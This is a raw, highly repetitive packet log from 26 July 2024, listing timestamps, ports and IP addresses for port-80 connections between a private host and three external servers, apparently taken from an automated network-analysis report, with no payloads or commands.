Jul 26, 2024 13:49:27.845757961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845767975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845778942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845789909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845801115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845809937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845820904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845833063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845844030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845854044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845864058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845875025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846508980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846532106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846543074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846553087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846564054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846575975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846585989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846596956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846607924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846617937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846628904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846641064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846652031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846662998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846673012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846683025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846720934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846731901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846744061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846755028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.846765041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847312927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847326994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847347975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847357988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847368956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847379923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847389936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847400904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847410917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847421885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847431898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847441912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847453117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847462893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847472906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847482920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847493887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847505093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847516060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847527027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.847852945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.848289967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848301888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848308086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848313093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848318100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848328114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848339081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848349094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848359108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848370075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848381042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848391056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848401070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848412037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848421097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848432064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848440886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.848450899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.849899054 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850122929 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850253105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850253105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850253105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850374937 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850374937 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.850606918 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.918085098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.923171043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093254089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093277931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093290091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093333960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.093333960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.093380928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093391895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093403101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093741894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093816996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093827009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093944073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093954086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093964100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.093975067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094033957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094043970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094053984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094063044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094108105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.094136000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094202995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094213963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094247103 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.094247103 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.094285011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094295979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094305992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094316006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094353914 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.094521999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094532013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094542980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094552994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094563961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094664097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094675064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094685078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094695091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094711065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094722033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094732046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094742060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094753027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094763994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094790936 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.094944954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094954014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.094989061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095000029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095010042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095020056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095165968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095177889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095438957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095451117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095460892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095470905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095482111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095491886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095501900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095511913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095521927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095531940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095541954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095634937 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.095685959 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.095685959 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.095762014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095773935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095783949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095794916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095880032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095890999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095901012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095911980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.095917940 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.095922947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.097409010 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.380439043 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.380517006 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.382710934 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.387581110 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.651287079 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.651340008 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.767190933 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.767846107 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.772464037 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.772545099 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.772659063 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.772722960 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.772881985 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:28.777689934 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:28.811881065 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.811930895 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:28.816847086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:28.816860914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.467762947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.468003988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:29.551189899 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:29.570060015 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.584243059 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.589113951 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:29.813452005 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:29.818526030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.876257896 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:29.877180099 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.989795923 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.990075111 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.990777969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.990843058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.990870953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:29.990969896 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:29.994322062 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:29.994995117 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:29.995249033 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.995706081 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.996064901 CEST	80	59054	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:29.996134996 CEST	59054	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:29.999687910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:30.001147985 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:30.172055006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:30.172277927 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:30.177309036 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.182754040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.184817076 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.185376883 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.190990925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.848465919 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:30.852252007 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:30.854732990 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:30.860266924 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:30.986015081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.986037970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.986049891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.986109018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.986161947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.987026930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987030029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987313986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987413883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987498045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987509966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.987750053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.988224983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.990382910 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.991810083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.991837978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.991849899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:30.991858006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:30.991889000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.105139017 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:31.105237961 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.135303020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135360003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135396957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135504007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.135543108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135576963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135710001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135750055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135782957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.135973930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136007071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136012077 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.136049986 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.136593103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136631966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136651993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.136665106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136689901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.136715889 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.136773109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136807919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.136951923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.137526989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.137567043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.137582064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.137600899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.137617111 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.137654066 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.137752056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.137784958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.137908936 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.138519049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.138551950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.138577938 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.138585091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.138619900 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.138674974 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.140396118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.140453100 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.211675882 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.212060928 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.218350887 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:31.218441963 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.218651056 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.218769073 CEST	80	59055	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:31.218868971 CEST	59055	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:31.225033045 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:31.337805986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.337862968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.337908030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.337944984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.337966919 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.337980986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338017941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338052988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338085890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338129044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.338181973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.338259935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338337898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338371038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338479042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338538885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.338571072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339282036 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.339534044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339597940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339632034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339770079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339807034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339821100 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.339862108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.339901924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.339948893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340027094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340135098 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.340154886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340188980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340300083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340306044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.340379000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.340529919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340578079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340585947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340603113 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.340728045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340790987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.340823889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341063023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341133118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341167927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341248989 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.341248989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341372013 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.341419935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341454029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.341476917 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.341486931 CEST	80	59056	185.215.113.16	192.168.2.6
